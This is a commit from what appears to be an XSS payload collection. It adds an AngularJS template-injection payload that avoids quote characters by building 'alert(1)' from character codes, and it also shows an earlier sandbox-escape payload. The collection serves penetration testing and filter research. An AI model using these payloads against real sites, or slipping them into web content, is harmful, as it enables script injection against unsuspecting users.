Merge pull request #233 from virenpawar/patch-1

[Update] Added 1 payload
2020-08-17 12:03:46 +02:00 · 2020-08-17 12:03:46 +02:00 · d386790fd2
parent d1104d6ce1 0266a7dd67
commit d386790fd2
1 changed files with 8 additions and 0 deletions
--- a/Injection/XSS
+++ b/Injection/XSS
@ -149,6 +149,14 @@ AngularJS 1.0.1 - 1.1.5 and Vue JS
 {{constructor.constructor('alert(1)')()}}
 ```

+### Advanced bypassing XSS
+
+AngularJS (without `'` single and `"` double quotes) by [@Viren](https://twitter.com/VirenPawar_)
+
+```javascript
+{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
+```
+

 ### Blind XSS